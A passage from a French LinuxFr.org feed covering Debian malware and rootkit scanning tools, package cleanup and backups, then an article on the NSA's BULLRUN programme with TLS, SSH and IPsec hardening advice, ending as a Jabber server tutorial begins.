<h5 id="ajouter-la-base-de-signatures-de-maldet-à-clamav-">ajouter la base de signatures de MalDet à Clamav :</h5>
<p>Il est possible de rajouter la base de signatures de <code>maldet</code> à <code>clamav</code>, ce qui permet de scanner une seule fois avec les deux bases de signatures. Après avoir installé <code>maldet</code>, vous pouvez faire la manipulation suivante :</p>
<pre><code class="bash"><span class="nb">cd</span> /var/lib/clamav
ln -s /usr/local/maldetect/sigs/rfxn.hdb rfxn.hdb
ln -s /usr/local/maldetect/sigs/rfxn.ndb rfxn.ndb
/etc/init.d/clamd restart</code></pre>
<p>Vous pouvez utiliser la commande suivante pour lancer une analyse, <code>--recursive</code> permet de descendre dans l'arborescence, <code>--infected</code> permet de n'afficher que les résultats positifs lors de l'analyse pour éviter une sortie particulièrement verbeuse, et <code>--log</code> permet de définir un fichier ou le résultat de l'analyse sera écrit :</p>
<pre><code>clamscan --recursive --infected --log="/var/log/clamscan"
</code></pre>
<h3 id="rkhunter"><a href="https://packages.debian.org/fr/wheezy/rkhunter">rkhunter</a></h3>
<p>Pour l'installer puis le mettre à jour : </p>
<pre><code class="sh">aptitude install rkhunter
rkhunter --update</code></pre>
<p>Pour dire à <code>rkhunter</code> de regarder l'état de certains fichiers de configurations et de les stocker pour détecter des altérations par la suite (à faire idéalement sur un système neuf) :</p>
<pre><code>rkhunter --propupd
</code></pre>
<p>Pour lancer un test (n'oubliez pas que le résultat sera aussi dans <code>/var/log/rkhunter.log</code>) : </p>
<pre><code>rkhunter --check --skip-keypress --report-warnings-only
</code></pre>
<p>Le fichier de configuration se trouve dans <code>/etc/rkhunter.conf</code>, vous pouvez y configurer, entre autre, votre adresse mail pour recevoir les alertes. <code>rkhunter</code> peut générer des faux positifs, vous pouvez trouver dans la <a href="http://doc.ubuntu-fr.org/rkhunter">documentation d'Ubuntu </a> comment l'éviter.</p>
<p>Plus de détails dans <a href="http://www.sublimigeek.fr/installer-paquet-rkhunter-debian">cet article très complet sur sublimigeek.com</a>.</p>
<h3 id="chkrootkit"><a href="https://packages.debian.org/fr/wheezy/chkrootkit">chkrootkit</a></h3>
<p>chkrootkit est un anti-rootkit connu sous Linux, mais il faut noter que la version disponible dans wheezy est la <a href="https://packages.debian.org/fr/wheezy/chkrootkit">0.49</a> qui date de 2008, la <a href="https://packages.debian.org/fr/jessie/chkrootkit">0.50</a>, sorti en 2014 est disponible dans Jessie.</p>
<pre><code>aptitude install chkrootkit
</code></pre>
<p>Le fichier de configuration <code>/etc/chkrootkit/chkrootkit.conf</code> :</p>
<pre><code>RUN_DAILY="true"
RUN_DAILY_OPTS="-q" # -q=quiet mode
DIFF_MODE="true" # garde un /var/cache/chkrootkit/log.old pour comparer la prochaine fois
REPORT_MAIL=mail@example.net
</code></pre>
<p>Pour le lancer :</p>
<pre><code>chkrootkit -q
</code></pre>
<h3 id="lynis"><a href="https://packages.debian.org/wheezy/lynis">lynis</a></h3>
<p>Développé par le créateur de <a href="http://www.sublimigeek.fr/installer-paquet-rkhunter-debian">rkhunter</a>, Lynis est un outil d'audit pour Unix. Il parcourt la configuration du système et crée un résumé des informations système et des problèmes de sécurité, utilisable par des auditeurs professionnels. Il peut aider à des audits automatisés.</p>
<pre><code>aptitude install lynis
</code></pre>
<p>Pour lancer une vérification du système avec seulement l'affichage des warnings :</p>
<pre><code>lynis --check-all --quick
</code></pre>
<p>Vous trouverez le rapport dans <code>/var/log/lynis-report.dat</code> et sa <a href="https://cisofy.com/documentation/lynis/">documentation</a> pour aller plus loin sur le site officiel.</p>
<h3 id="debsums"><a href="https://packages.debian.org/fr/wheezy/debsums">debsums</a></h3>
<p>Debsums permet de vérifier l'intégrité des fichiers des paquets installés avec les sommes de contrôle MD5 installées par le paquet ou générées à partir d'une archive ".deb". </p>
<p>Pour l'installer :</p>
<pre><code>aptitude install debsums
</code></pre>
<p>Pour le lancer (vérifie les fichiers de configurations <code>--all</code> et n'affiche que les erreurs : <code>--silent</code>) :</p>
<pre><code>debsums --all --silent
</code></pre>
<p>Vous avez bien entendu différentes options que vous pouvez voir dans les pages man (<code>man debsums</code>). Pour génèrer les sommes de contrôle MD5 à partir des fichiers .deb pour les paquets qui n'en fournissent pas : <code>debsums --generate=missing</code> (équivalent de <code>-g</code>). Cette commande est bien entendu à utiliser sur un système neuf.</p>
<h3 id="nettoyer">Nettoyer</h3>
<p>Quand vous désinstallez un paquet de votre machine, <a href="http://www.fernandoike.com/2014/09/12/purge-debian-packages-marked-with-rc-status/">il arrive qu'il soit enlevé mais que les fichiers de configurations restent</a>, il est alors marqué "<a href="http://www.fernandoike.com/2014/09/12/purge-debian-packages-marked-with-rc-status/">rc</a>" dans <code>dpkg</code>, pour supprimer définitivement ces paquets, vous pouvez lancer les commandes suivantes :</p>
<ul>
<li>Afficher les paquets étant dans un état "rc" :</li>
</ul><pre><code>dpkg -l |grep ^rc | awk '{print $2}'
</code></pre>
<ul>
<li>Supprimer ces paquets :</li>
</ul><pre><code>dpkg -l | grep ^rc | awk '{print $2}' | xargs dpkg -P
</code></pre>
<p>À noter que cette commande peut éteindre MySQL pour effacer d'anciens fichiers de configuration, n'oubliez pas de de le relancer par la suite.</p>
<h4 id="deborphan"><a href="https://packages.debian.org/fr/wheezy/deborphan">deborphan</a></h4>
<p><a href="https://packages.debian.org/fr/wheezy/deborphan">Deborphan</a> recherche les paquets orphelins sur votre système en déterminant quels paquets n'ont aucune dépendance sur eux et vous affiche la liste de ces paquets.</p>
<pre><code>aptitude install deborphan
</code></pre>
<p>Je vous conseille grandement de vérifier ce qu'il propose d'enlever avant de supprimer les paquets :</p>
<pre><code>deborphan
</code></pre>
<p>Et si ça vous semble correct, vous pouvez supprimer les paquets avec la commande <code>dpkg</code> :</p>
<pre><code>deborphan| xargs dpkg -P
</code></pre>
<p>Il peut être nécessaire de le relancer plusieurs fois (en vérifiant ou non ce qu'il veut effacer à chaque fois).</p>
<h3 id="des-sauvegardes">Des sauvegardes !</h3>
<p>C'est sans aucun doute la partie la plus importante de cet article :</p>
<p>FAITES DES SAUVEGARDES !</p>
<p><a href="https://www.octopuce.fr">Octopuce</a> a mis en ligne un petit script qui vous aidera à faire rapidement et simplement des backups sur un disque dur externe (ou une clé USB avec assez de place) : <a href="https://www.octopuce.fr/faire-des-backups-facilement/">faire des backups facilement</a>.</p>
<p>Plus d'excuses, au boulot !</p>
<h3 id="pour-aller-un-peu-plus-loin">Pour aller un peu plus loin</h3>
<p>faire écouter vos programmes en local s'ils n'ont pas besoin d'être atteint de l'extérieur. C'est normalement la configuration par défaut dans Debian, mais si vous installez des paquets externes, vous pouvez le vérifier facilement avec la commande <code>netstat -lptn</code>.</p>
<p>Pour continuer cet article, n'oubliez surtout pas de vérifier et d'<a href="http://www.alsacreations.com/tuto/lire/622-Securite-firewall-iptables.html">améliorer vos configurations</a> régulièrement.</p>
<p>N'oubliez pas non plus de vous tenir au courant :</p>
<ul>
<li>
<a href="http://oss-security.openwall.org/subscribe">oss-security Mailing List</a> (attention, c'est verbeux)</li>
<li>
<a href="https://www.debian.org/security/">Informations de sécurité</a> concernant Debian</li>
</ul><p>La configuration de ces différents utilitaires dépends évidemmment de vos besoins et de votre modèle de menaces. Envoyer des informations par courriel ou télécharger des paquets sur un canal non sécurisé peut donner des informations sur l'état de votre système. N'hésitez jamais à utiliser un outil comme <a href="https://torproject.org/">Tor</a>.</p>
<p>Idéalement, les différents processus devraient être lancé automatiquement, régulièrement et envoyer un courriel immédiatement en cas de problème pour vous alerter.</p>
<p>Cet article vise à donner des idées de pistes à suivre pour la maintenance d'un poste personnel ou d'un serveur, rien de plus.</p></div><div><a href="https://linuxfr.org/news/un-peu-plus-de-securite-sous-linux.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/105007/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/un-peu-plus-de-securite-sous-linux#comments">ouvrir dans le navigateur</a>
</p>
skhaenBenoît Sibaudpalm123bubar🦥Xavier TeyssierNeoXhttps://linuxfr.org/nodes/105007/comments.atomtag:linuxfr.org,2005:News/360782015-02-05T14:34:54+01:002015-02-05T18:56:02+01:00NSA - À propos de BULLRUN Licence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p>Voici la suite des « études » des <em>leaks</em> (fuites) de Snowden menées pour <a href="http://www.nsa-observer.net/">NSA-Observer</a>. Dans cet article, nous allons revenir sur les révélations du Spiegel datant de fin décembre lors du 31c3 (Chaos Computer Congress) et du 17 janvier 2015 portant sur les moyens offensifs de la NSA ainsi que d'autres agences concernant la cryptographie.</p>
<p>La conférence « <a href="https://media.ccc.de/browse/congress/2014/31c3_-_6258_-_en_-_saal_1_-_201412282030_-_reconstructing_narratives_-_jacob_-_laura_poitras.html#video">Reconstructing narratives</a> » de Laura Poitras et Jacob Appelbaum présentant ces <a href="http://www.spiegel.de/international/world/nsa-documents-attacks-on-vpn-ssl-tls-ssh-tor-a-1010525.html">documents</a> est visible ci-dessous (mais aussi sur le site du <a href="http://media.ccc.de/browse/congress/2014/31c3_-_6258_-_en_-_saal_1_-_201412282030_-_reconstructing_narratives_-_jacob_-_laura_poitras.html#video">CCC</a>) :</p>
<ul>
<li><a href="http://cdn.media.ccc.de/congress/2014/h264-sd/31c3-6258-en-Reconstructing_narratives_sd.mp4">mp4</a></li>
<li><a href="http://cdn.media.ccc.de/congress/2014/webm-sd/31c3-6258-en-Reconstructing_narratives_webm-sd.webm">webm</a></li>
</ul><h3 id="bullrun-quest-ce-que-cest">BULLRUN, qu'est ce que c'est ?</h3>
<p>BULLRUN est un « programme » de la NSA exploitant différents moyens pour accéder à du contenu chiffré. Le New York Times avait abordé le sujet fin 2013 dans son article « <a href="http://www.nytimes.com/interactive/2013/09/05/us/documents-reveal-nsa-campaign-against-encryption.html?_r=0">Secret Documents Reveal N.S.A. Campaign Against Encryption</a> » mais sans aucun détail (comme <a href="http://www.theguardian.com/world/interactive/2013/sep/05/nsa-project-bullrun-classification-guide">The Guardian</a> ou encore <a href="http://www.propublica.org/article/the-nsas-secret-campaign-to-crack-undermine-internet-encryption">propublica</a>).</p></div><ul><li>lien nᵒ 1 : <a title="https://www.libwalk.so/2015/01/25/NSA-bullrun.html" hreflang="fr" href="https://linuxfr.org/redirect/92921">Lien vers l'article original </a></li><li>lien nᵒ 2 : <a title="https://www.nsa-observer.net" hreflang="fr" href="https://linuxfr.org/redirect/92922">nsa-observer</a></li><li>lien nᵒ 3 : <a title="http://linuxfr.org/news/nsa-tao-le-chemin-vers-vos-serveurs" hreflang="fr" href="https://linuxfr.org/redirect/92933">Article précédent sur LinuxFr.org</a></li></ul><div><h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><a href="#historique">Historique</a></li>
<li>
<a href="#%C3%80-propos-de-configurations">À propos de configurations</a><ul>
<li>
<a href="#ssltls">SSL/TLS</a><ul>
<li><a href="#bonnes-pratiques-">Bonnes pratiques :</a></li>
</ul>
</li>
<li><a href="#ssh">SSH</a></li>
<li><a href="#ipsec">IPSec</a></li>
</ul>
</li>
<li><a href="#je-peux-utiliser-quoi-alors">Je peux utiliser quoi alors ?</a></li>
</ul><h2 id="historique">Historique</h2>
<p>On savait, à l'époque, que l'on pouvait distinguer en simplifiant trois méthodes utilisées par la NSA utilise pour pouvoir accéder à du contenu chiffré. La première méthode utilise les mathématiques, c'est-à-dire trouver de nouvelles méthodes pour réussir à casser un algorithme (par exemple pour <a href="http://blog.cryptographyengineering.com/2013/03/attack-of-week-rc4-is-kind-of-broken-in.html">« casser » RC4</a>).</p>
<p>La deuxième méthode permet « simplement » d'accéder aux <a href="https://fr.wikipedia.org/wiki/Cryptographie_asym%C3%A9trique#Principe_g.C3.A9n.C3.A9ral">clés privées</a> de la cible (pouvant être aussi bien une personne qu'une multinationale) ou aux informations demandées. On arrive là dans <a href="https://firstlook.org/theintercept/2014/10/10/core-secrets/">un ensemble d'autres programmes</a>, un des plus secrets de la NSA (classification est « <a href="https://firstlook.org/theintercept/2014/10/10/core-secrets/">CORE SECRETS</a> »). On trouve dans les documents, que les agents peuvent être sous couverture dans une entreprise (qu'elle soit américaine ou étrangère), ou encore que le programme <a href="https://www.nsa-observer.net/category/program/family/target/name/TAREX">TAREX</a> (pour TARget EXploitation) conduit des opérations clandestines aussi bien <a href="https://fr.wikipedia.org/wiki/Renseignement_d%27origine_%C3%A9lectromagn%C3%A9tique">SIGINT</a> (renseignement d'origine électromagnétique) qu'<a href="https://fr.wikipedia.org/wiki/Renseignement_humain">HUMINT</a> (renseignement humain) partout dans le monde pour exploiter des systèmes via différents moyens : « <em>off net-enabling</em> » (activité clandestine ou sous couverture sur le terrain), « <em>supply chain-enabling</em> » (modifier des équipements directement dans la chaîne logistique ou via le détournement de livraisons) et « <em>hardware implant-enabling</em> » qui semble regrouper un peu des deux précédents.</p>
<p>Les États-unis ne sont évidemment pas obligés de passer par ce genre d'opérations pour obtenir ce qu'ils veulent de leurs entreprises, il existe le « <em><a href="https://en.wikipedia.org/wiki/Foreign_Intelligence_Surveillance_Act">Foreign Intelligence Surveillance Act</a></em> » (FISA) et les « <em><a href="https://fr.wikipedia.org/wiki/Lettres_de_s%C3%A9curit%C3%A9_nationale">lettres de sécurité nationale</a></em> » qui sont des <a href="https://fr.wikipedia.org/wiki/Lettres_de_s%C3%A9curit%C3%A9_nationale">requêtes contraignantes</a> et qui peuvent obliger une entreprise à permettre un accès à quelque chose <a href="https://en.wikipedia.org/wiki/Gag_order">en ayant l'obligation de ne pas en parler</a>.</p>
<p>Ainsi, en 2013, l'entreprise Lavabit décida de fermer plutôt que de <a href="http://www.vanityfair.fr/actualites/international/articles/ladar-levison-lhomme-qui-defie-le-renseignement-americain/1369">donner sa clé privée SSL/TLS au FBI</a>, le tribunal la menaçait d'une amende de 5000 € par jour de retard. Lavabit hébergeait les mails d'Edward Snowden parmi ses 400 000 utilisateurs.</p>
<p>En 2008, Yahoo a été menacé d'une <a href="http://www.theguardian.com/world/2014/sep/11/yahoo-nsa-lawsuit-documents-fine-user-data-refusal">amende de 250 000 $ par jour de retard</a> s'il ne donnait pas des données d'utilisateurs à la NSA.</p>
<p>La troisième méthode consiste à mettre en place ou profiter d'une mauvaise implémentation, comme le générateur de nombre aléatoire <a href="https://en.wikipedia.org/wiki/Dual_EC_DRBG">Dual_EC_DRBG</a>, qui pourrait permettre, par exemple, de <a href="http://blog.cryptographyengineering.com/2013/09/the-many-flaws-of-dualecdrbg.html">lire des flux SSL/TLS</a>. Une méthode complémentaire consiste à payer une entreprise pour qu'elle utilise quelque chose en particulier, la NSA a payé <a href="http://www.reuters.com/article/2014/03/31/us-usa-security-nsa-rsa-idUSBREA2U0TY20140331">10 millions de dollars</a> à l'entreprise RSA, pour utiliser Dual_EC_DRBG dans certains de ses produits (comme <a href="https://en.wikipedia.org/wiki/RSA_BSAFE">BSAFE</a>).</p>
<p>Ainsi, la NSA (et sans doute les autres agences) a activement travaillé à insérer des vulnérabilitées dans des produits commerciaux, des réseaux (par exemple en se connectant à un routeur pour diminuer la crypto d'un VPN), des protocoles (vous pouvez <a href="http://www.mail-archive.com/cryptography@metzdowd.com/msg12325.html">lire les spéculations de John Gilmore sur la NSA et IPsec</a>) ou directement sur des périphériques de cibles.</p>
<p>Le <a href="http://www.nytimes.com/interactive/2013/09/05/us/documents-reveal-nsa-campaign-against-encryption.html?_r=0">New York Times</a> rapporte qu'en 2006, la NSA avait réussi à pénétrer les communications de trois compagnies aériennes, un système de réservation de voyages, un programme nucléaire d'un gouvernement étranger en craquant les VPNs les protégeant, et en 2010, EDGEHILL (l'équivalent Britannique de BULLRUN) avait réussi à "déchiffrer" le traffic de 30 cibles.</p>
<h2 id="À-propos-de-configurations">À propos de configurations</h2>
<p>Pour ce que l'on en sait, il suffit d'une bonne configuration pour résoudre la majorité des problèmes (à noter tout de même : les documents datent de 2012, et énormement de choses ont pu changer depuis (Heartbleed, Poodle, nouvelles failles, etc).</p>
<h3 id="ssltls">SSL/TLS</h3>
<p>Le cryptographe <a href="https://www.blogger.com/profile/05041984203678598124">Matthew Green</a> a fait <a href="http://blog.cryptographyengineering.com/2013/12/how-does-nsa-break-ssl.html">un article</a> sur les différents moyens que la NSA a pour "casser" SSL/TLS. Selon lui, la NSA peut utiliser plusieurs méthodes :</p>
<ul>
<li>
<strong>Voler les clés RSA</strong> (voir l'introduction de cet article) : en volant ces clés, la NSA peut lire le contenu des flux SSL/TLS, mais aussi déchiffrer les flux qu'elle a capté <em>avant</em> ;
<ul>
<li>contre-mesure : utiliser les courbes elliptiques et surtout le <a href="https://fr.wikipedia.org/wiki/Confidentialit%C3%A9_persistante">Forward Secrecy</a> (FS, ou <em><a href="https://fr.wikipedia.org/wiki/Confidentialit%C3%A9_persistante">confidentialité persistante</a></em>) ;</li>
</ul>
</li>
<li>
<strong>avoir "accès" aux <a href="http://blog.cryptographyengineering.com/2013/12/how-does-nsa-break-ssl.html">puces matérielles de chiffrement</a></strong> ;
<ul>
<li>contre-mesure : changer de matériel ? (et avoir de l'<a href="https://news.ycombinator.com/item?id=6336505">open-hardware</a>, utiliser un générateur externe quand c'est possible) ;</li>
</ul>
</li>
<li>
<strong>avoir "accès" aux puces logicielles de chiffrement</strong> (comme Dual_EC_DRBG) ;
<ul>
<li>contre-mesure : utiliser un générateur externe ;</li>
</ul>
</li>
<li>
<strong>Side channel attacks</strong> : un système peut faire fuiter des informations (<em>operation time</em>, <em>resource consumption</em>, <em>cache timing</em>, <em>RF emissions</em>) qui peuvent parfois être exploitables en étant sur le même espace physique (i.e le même serveur physique, voir <a href="http://blog.cryptographyengineering.com/2012/10/attack-of-week-cross-vm-timing-attacks.html">Attack of the week: Cross-VM side-channel attacks</a>) ; Matthew parle aussi d'une autre attaque, « <em><a href="http://crypto.stanford.edu/%7Edabo/abstracts/ssl-timing.html">remote timing information</a></em> », en notant que <a href="http://cloudhsm-safenet-docs.s3.amazonaws.com/007-011136-002_lunasa_5-1_webhelp_rev-a/Content/configuration/partition_policies.htm">certains chipsets matériels désactivent la contre-mesure</a> par défaut ;
<ul>
<li>contre-mesure : faire attention à ses voisins, <a href="http://en.wikipedia.org/wiki/Blinding_(cryptography)">RSA blinding</a>.</li>
</ul>
</li>
</ul><h4 id="bonnes-pratiques-">Bonnes pratiques :</h4>
<ul>
<li>dans la mesure du possible, centraliser la configuration SSL/TLS pour un logiciel sur le serveur : pour Apache 2, par exemple, vous pouvez mettre votre configuration (SSLCipherSuite…) dans <em>/etc/apache2/mods-available/ssl.conf</em> (pour Debian et ses dérivées), cette conf sera alors active pour l'ensemble de vos vhosts, et il faudra donc la changer uniquement en cas de besoin (et non vhost par vhost, au risque d'en oublier) ;</li>
<li>disposer d'une clé RSA égale ou supérieure à 2048 bits ; </li>
<li>utiliser des courbes elliptiques ;</li>
<li>activer <em>Forward Secrecy</em> ;</li>
<li>utiliser <a href="https://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslhonorcipherorder">SSLHonorCipherOrder on</a> ;</li>
<li>enlever les algorithmes de chiffrement faibles, obsolètes, voire dangereux (par exemple DES et <a href="https://twitter.com/ioerror/status/398059565947699200">RC4</a>) ;</li>
<li>ne plus utiliser SSLv3, et s'assurer par la même occasion que SSLv2 est bien mort et enterré (<code>SSLProtocol all -SSLv2 -SSLv3</code> pour Apache2 par exemple), TLSv1 est aujourd'hui le minimum acceptable ;</li>
<li>désactiver la compression, pour éviter l'attaque <a href="https://en.wikipedia.org/wiki/CRIME">CRIME</a>.</li>
</ul><p>Pour vous aider dans la configuration de votre serveur web, vous pouvez utiliser le site <a href="https://www.jeveuxhttps.fr/%C3%89tape_1_Installer_HTTPS_sur_le_serveur,_pour_informaticien">JeVeuxHTTPS</a>, et bien entendu le désormais célèbre <a href="https://www.ssllabs.com">SSL Labs</a> qui permet de tester sa configuration. </p>
<p>Des outils comme <a href="https://github.com/rbsec/sslscan">sslscan</a>, <a href="https://xmpp.net/">xmpp.net</a> (XMPP/Jabber), <a href="https://starttls.info/">StartTLS.info</a> (mails) peuvent aussi être utiles.</p>
<h3 id="ssh">SSH</h3>
<p>La seule trace du terme <em>backdoor</em> dans les documents à propos d'openSSH est en fait un rootkit, ce qui signifie qu'il FAUT avoir réussi à rentrer dans le serveur et à être root pour pouvoir modifier le binaire et permettre l'accès à une clé ou à un mot de passe. À noter que cette modification empêche de voir les connexions « pirates » de ces comptes dans les logs. </p>
<p>Un problème concernant SSH pourrait être l'utilisation d'algorithmes de chiffrement obsolètes. Vous pouvez vérifier ceux proposés par votre serveur avec la commande <code>ssh -vvv</code> pour vous connecter. Une connexion sur un serveur donne quelque chose ressemblant à ceci comme résultat :</p>
<pre><code>ssh -vvv skhaen@exemple.com
[...]
kex_parse_kexinit: ssh-rsa,ssh-dss
kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se
kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
[...]
</code></pre>
<p>Arcfour est en fait un autre nom de RC4, qui pour le coup est cassé depuis un moment. La version 6.7 d'OpenSSH le supprime, et <a href="http://blogs.technet.com/b/srd/archive/2013/11/12/security-advisory-2868725-recommendation-to-disable-rc4.aspx">Microsoft recommande de le désactiver</a> depuis 2013. </p>
<p>Pour améliorer la configuration de votre serveur SSH (il n'y a pas que le choix des algorithmes de chiffrement), vous pouvez vous référer aux trois articles ci-dessous. Faites <em>très attention</em> avant toutes modifications, elles peuvent vous empêcher de vous (re)connecter à votre serveur !</p>
<ul>
<li>
<a href="https://stribika.github.io/2015/01/04/secure-secure-shell.html">Secure Secure Shell</a> par <a href="https://twitter.com/stribika">stribika</a> (<em>hard way</em>, nécessite d'avoir un système <em>récent</em>) ;</li>
<li>
<a href="http://kacper.blog.redpill-linpro.com/archives/702">NSA-proof SSH</a> par <a href="https://twitter.com/whykacper">whykacper/</a> (<em>soft way</em>) ;</li>
<li>
<a href="https://bettercrypto.org/static/applied-crypto-hardening.pdf">Bettercrypto.org</a>.</li>
</ul><h3 id="ipsec">IPSec</h3>
<p>Concernant IPSec et comment mieux le configurer, vous pouvez vous référer à l'article de Paul Wouters « <em><a href="https://nohats.ca/wordpress/blog/2014/12/29/dont-stop-using-ipsec-just-yet/">Don’t stop using IPsec just yet</a></em> » (en espérant que le problème se trouve bien là). </p>
<p>On peut résumer cet article en deux principales recommandations : </p>
<ul>
<li>utiliser Perfect Forward Secrecy : <code>pfs=yes</code> ;</li>
<li>éviter les PreSharedKeys : <code>authby=secret</code>.</li>
</ul><h2 id="je-peux-utiliser-quoi-alors">Je peux utiliser quoi alors ?</h2>
<p>Il ne faut surtout pas tomber dans le piège « on est tous foutus, rien ne marche, on ne peut rien faire » : ce n'est absolument pas le cas. Dans les bonnes nouvelles, nous avons aussi la preuve que <a href="https://torproject.org/">Tor</a>, <a href="https://otr.cypherpunks.ca/">OTR</a>, <a href="https://www.gnupg.org/">GPG</a>, <a href="http://tails.boom.org/">TAILS</a> et <a href="https://play.google.com/store/apps/details?id=org.thoughtcrime.redphone&hl=fr_FR">Redphone</a> sont sûr (du moins en 2012 ;-)).</p>
<p><img src="//img.linuxfr.org/img/68747470733a2f2f7777772e6c696277616c6b2e736f2f696d616765732f323031342f736e6f7764656e2f7472697669616c5f636174617374726f706869632e706e67/trivial_catastrophic.png" alt="levels" title="Source : https://www.libwalk.so/images/2014/snowden/trivial_catastrophic.png"></p>
<ul>
<li>Trivial : suivre le parcours d'un document sur Internet ;</li>
<li>mineur : enregistrer un chat privé sur Facebook ;</li>
<li>modéré : décrypter un email envoyé via le service de messagerie russe mail.ru ;</li>
<li>majeur : utiliser des services comme Zoho (?), Tor, TrueCrypt ou OTR ;</li>
<li>catastrophique : utiliser plusieurs protocoles en même temps, par exemple faire passer de la VoIP utilisant ZRTP par le réseau TOR, le tout à partir d'un ordinateur sous Linux.</li>
</ul><p>On notera avec beaucoup d'intérêts qu'il n'y a aucune trace de logiciels commerciaux (<a href="https://cryptoservices.github.io/fde/2014/12/08/code-execution-in-spite-of-bitlocker.html">bitlocker</a>…) dans les documents.</p>
<ul>
<li>
<a href="https://torproject.org/">Tor</a> est un logiciel libre qui, grâce à une technique de routage en oignon, permet d’anonymiser les connexions sur Internet ;</li>
<li>
<a href="https://otr.cypherpunks.ca/">OTR</a> permet de chiffrer des communications, en particulier sur XMPP/Jabber, ne pas hésiter à l'utiliser avec du <a href="https://www.libwalk.so/2014/02/14/installer-un-serveur-xmppjabber-avec-prosody.html">SSL/TLS</a> par dessus.</li>
</ul><p><img src="//img.linuxfr.org/img/68747470733a2f2f7777772e6c696277616c6b2e736f2f696d616765732f323031342f736e6f7764656e2f4f54525f656e63727970746564312e706e67/OTR_encrypted1.png" alt="otr" title="Source : https://www.libwalk.so/images/2014/snowden/OTR_encrypted1.png"></p>
<ul>
<li>
<a href="https://www.gnupg.org/">GPG</a> permet de chiffrer un mail, un fichier ou un dossier entier ; il permet aussi de signer un fichier (ou un mail) pour s'assurer de son authenticité.</li>
</ul><p><img src="//img.linuxfr.org/img/68747470733a2f2f7777772e6c696277616c6b2e736f2f696d616765732f323031342f736e6f7764656e2f5047505f656e63727970746564312e706e67/PGP_encrypted1.png" alt="gpg" title="Source : https://www.libwalk.so/images/2014/snowden/PGP_encrypted1.png"></p>
<ul>
<li>
<a href="http://tails.boum.org/">TAILS</a> est un système d'exploitation live, que vous pouvez démarrer, sur quasiment n'importe quel ordinateur, depuis un DVD, une clé USB, ou une carte SD. Son but est de préserver votre vie privée et votre anonymat, et de vous aider à utiliser Internet de manière anonyme et contourner la censure (toutes les connexions sortantes vers Internet sont obligées de passer par le réseau Tor).</li>
<li>
<a href="https://play.google.com/store/apps/details?id=org.thoughtcrime.redphone&hl=fr_FR">Redphone</a> est une application pour Android qui permet d'avoir des conversations chiffrées (on peut aussi s'intéresser à <a href="https://play.google.com/store/apps/details?id=org.thoughtcrime.securesms&hl=fr_FR">Textsecure</a>, application Android de <a href="https://whispersystems.org/">la même entreprise</a> pour chiffrer les SMS).</li>
</ul><p>Dans un autre document, le logiciel Truecrypt est aussi considéré comme « solide », il ne reste plus qu'à attendre que son <a href="https://ciphershed.org/">fork</a> soit prêt pour enfin pouvoir le réutiliser.</p>
<p>Le point commun de tous ces logiciels ? Ce sont des logiciels libres.</p>
<p>Les documents sont disponibles sur le site du Spiegel :</p>
<ul>
<li>
<a href="http://www.spiegel.de/international/world/nsa-documents-attacks-on-vpn-ssl-tls-ssh-tor-a-1010525.html">NSA Documents: Attacks on VPN, SSL, TLS, SSH, Tor</a> ;</li>
<li>
<a href="http://www.spiegel.de/international/world/new-snowden-docs-indicate-scope-of-nsa-preparations-for-cyber-battle-a-1013409-2.html">The Digital Arms Race: NSA Preps America for Future Battle</a>.</li>
</ul></div><div><a href="https://linuxfr.org/news/nsa-a-propos-de-bullrun.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/104605/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/nsa-a-propos-de-bullrun#comments">ouvrir dans le navigateur</a>
</p>
skhaenNils RatusznikrootixNeoXpalm123ZeroHeureNÿcohttps://linuxfr.org/nodes/104605/comments.atomtag:linuxfr.org,2005:News/360812015-01-27T10:19:47+01:002015-01-27T12:52:20+01:00Mettre en place un serveur Jabber avec du TLS et du Forward SecrecyLicence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p>J'ai publié il y a quelques mois un tuto pour mettre en place "facilement" un serveur XMPP/Jabber avec Prosody et du SSL/TLS plutôt bien configuré sous Debian, j'ai eu pas mal de retours positifs depuis et je pense qu'il pourrait intéresser d'autres personnes.</p></div><ul><li>lien nᵒ 1 : <a title="https://www.libwalk.so/2014/02/14/installer-un-serveur-xmppjabber-avec-prosody.html" hreflang="fr" href="https://linuxfr.org/redirect/92932">Article original</a></li></ul><div><h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><a href="#installation">Installation</a></li>
<li>
<a href="#configuration">Configuration</a><ul>
<li>
<a href="#la-premi%C3%A8re-brique">La première brique</a><ul>
<li><a href="#les-logs">Les logs</a></li>
<li><a href="#un-minimum-de-s%C3%A9curit%C3%A9">Un minimum de sécurité</a></li>
<li><a href="#prosodyctl">prosodyctl</a></li>
<li><a href="#les-modules">Les modules</a></li>
</ul>
</li>
<li>
<a href="#chiffrons-tout-pour-tout-le-monde">Chiffrons tout pour tout le monde</a><ul>
<li>
<a href="#cr%C3%A9ation-du-certificat">Création du certificat</a><ul>
<li><a href="#la-m%C3%A9thode-simple-et-vraiment-rapide">La méthode simple (et vraiment rapide)</a></li>
<li><a href="#la-m%C3%A9thode-un-peu-moins-simple-mais-qui-est-vachement-mieux">La méthode un peu moins simple mais qui est vachement mieux</a></li>
</ul>
</li>
<li><a href="#cr%C3%A9ation-dun-certificat-cha%C3%AEn%C3%A9">Création d'un certificat chaîné</a></li>
<li><a href="#g%C3%A9n%C3%A9ration-du-dhparam">Génération du dhparam</a></li>
<li><a href="#configuration-du-ssltls">Configuration du SSL/TLS</a></li>
</ul>
</li>
<li><a href="#dns">DNS</a></li>
<li><a href="#firewall">Firewall</a></li>
<li><a href="#test">Test</a></li>
</ul>
</li>
</ul><h2 id="installation">Installation</h2>
